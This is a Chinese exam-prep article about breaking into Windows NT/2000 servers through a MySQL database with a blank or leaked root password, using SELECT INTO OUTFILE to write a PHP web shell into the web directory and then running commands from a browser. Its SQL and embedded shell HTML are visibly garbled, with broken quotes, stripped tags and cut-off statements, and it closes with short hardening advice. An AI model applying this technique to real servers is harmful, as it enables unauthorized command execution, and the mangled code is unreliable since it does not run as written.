2015年计算机四级指导:通过mysql入侵NT和win2000
发布时间:2010/3/10 18:15:19 来源:城市学习网 编辑:MOON
许多NT和win2000机器上面装有mysql和php。而mysql默认数据库root账号为空,这就给入侵者一个途径来入侵该机器。如果修改了数据库root的账号密码,而IIS的一些其他漏洞导致源代码泄漏也可能看到数据库的账号和 ... 许多NT和win2000机器上面装有mysql和php。而mysql默认数据库root账号为空,这就给入侵者一个途径来入侵该机器。如果修改了数据库root的账号密码,而IIS的一些其他漏洞导致源代码泄漏也可能看到数据库的账号和密码。假设我们已经拿到了数据库的密码,看看我们如何通过mysql数据库来获得该机器的一定权限。
首先通常情况下,一般mysql和php配合使用,大多数NT和win2000的机器上如果使用php一般都会使用mysql。而默认情况下windows上的mysql是允许远程连接的。而装在linux等上的mysql是不允许远程连接的。入侵的思路是写一个shell脚本到web目录。就可以通过这个shell教本来执行命令了。而一般情况下,windows的web服务器是IIS,默认也是支持asp脚本的。网上也随处可见asp的sehll脚本,只要将这个asp的脚本传到web目录就好了。但是我觉得那些脚本都比较麻烦。而如果目标机器上面有php的话就可以用php脚本了。在这里我用php脚本来写shell。首先我们要用mysql的客户端连结到该机器,并执行我们的sql语句来在web目录生成php的shell脚本。
C:“mysql“bin width: auto; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px“-“-/stylep class=“title2“ /pform name=“form1“ method=““post“ action=“/cmd2.php“ input type=“text“ name=“cmd“ size=“50“ class=“form1“/formform name=“form2“ method=“post“ action=““ p textarea name=“text“ cols=“120“ rows=“50“ class=“form1“?if)?/textarea /p/form/body‘);
selectfrom tmp intooutfile‘d:““new““cmd2.php‘;
drop table tm
上面的sql语句是创建一个名字为tmp的table,将脚本输入到数据库,然后再将这个脚本保存成d:“new“cmd2.php。然后删除tmp这个我们创建的table。这里的d:“new的目录是该机器的web目录。然后我们就可以在浏览器中输入http://xxx.xxx.xxx.xxx/cmd2.php?... php脚本不能写成功。
关键的问题在于获得数据库的密码并且能够找到web目录。然后一切都不成问题了。
安全建议:设置mysql数据库的密码,并且要有一定的强度。设置好IIS避免泄漏源代码,不要直接在web目录编辑脚本等文件,因为有些编辑器会自动产生一个备份文件,一般为.bak的扩展名,这样恶意攻击者就可能直接打开这个.bak文件从而泄漏源代码,比如global.asa.bak。